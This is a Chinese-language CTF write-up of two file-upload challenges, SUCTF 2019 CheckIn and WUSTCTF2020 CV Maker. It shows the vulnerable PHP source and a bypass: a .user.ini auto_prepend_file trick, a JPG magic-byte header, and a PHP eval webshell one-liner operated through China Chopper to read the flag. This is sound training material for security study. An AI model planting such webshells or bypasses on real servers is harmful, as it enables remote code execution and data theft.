[SUCTF 2019]CheckIn
源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];//获取临时文件路径
$name = $_FILES["fileUpload"]["name"];//获得文件名
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");//<为<
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
代码审计:
1、mkdir()函数创建目录
2、file_put_contents()
3、file_get_contents()获取文件内容
3、scandir() 函数返回指定目录中的文件和目录的数组
4、var_dump()显示数组
5、substr( n a m e , s t r r p o s ( name, strrpos( name,strrpos(name, “.”) + 1) 获得文件后缀名
过滤机制:
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
过滤后缀名有ph或者htacess的文件
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");//<为<
}
过滤文件内容包含<?字符的文件
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
exif_imagetype() 读取一个图像的第一个字节并检查其签名。例如:
- JPG :FF D8 FF E0 00 10 4A 46 49 46
- GIF(相当于文本的GIF89a):47 49 46 38 39 61
- PNG: 89 50 4E 47
综上:
1、对于第一个的绕过,我们可以利用.user.ini定义一个用户配置,每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg,故前提是必须有与user.ini同一目录的php文件,然后访问php文件,去执行一句话木马
2、对于第三个的exif_imagetype() 的绕过,我们可以在文件头部加入FFD8FFE000104A464946这一串16进制即可。
3、对于第二个的正则表达式绕过,我们可以用另一种方式代替php代码格式,即
<script language="php">eval($_POST['a']);</script>
步骤:
1、制作图片马
2、制作.user.ini文件
3、上传之后,发现在该目录下有php文件,故我们可以访问index.php去执行已经包含在test.jpg里面的一句话木马
4、访问显示出来的目录
5、然后随便写一个参数看看是否执行成功
6、然后就可以用中国菜刀连了。但是它会不时的清除文件,但我们可以在网页执行命令。
扫描根目录:a=var_dump(scandir("/"));,我们可以看见一个叫flag的文件
7、打印文件内容
a=var_dump(file_get_contents("/flag"));
[WUSTCTF2020]CV Maker
1、注册后登录进入后发现有上传头像的功能
2、判断是后端是检查后缀还是内容
上传一个含有一句话木马的jpg后缀
3、判断为是检查文件内容的,且页面返回exif_imagetype not image,很明显后端是通过exif_imagetype()函数来判断是不是合法文件,所以我们可以在含有一句话木马,且后缀为php的文件最前面加上jpg的签名即可(FFD8FFE000104A464946)
4、f12查看图片地址,然后用菜刀连接即可
5、菜刀连接
找到flag文件
5、也可用命令查找flag
var_dump(scandir("/"));
查看当前目录下的文件,发现有flag文件
var_dump(file_get_contents("/Flag_aqi2282u922oiji"));
查找到flag文件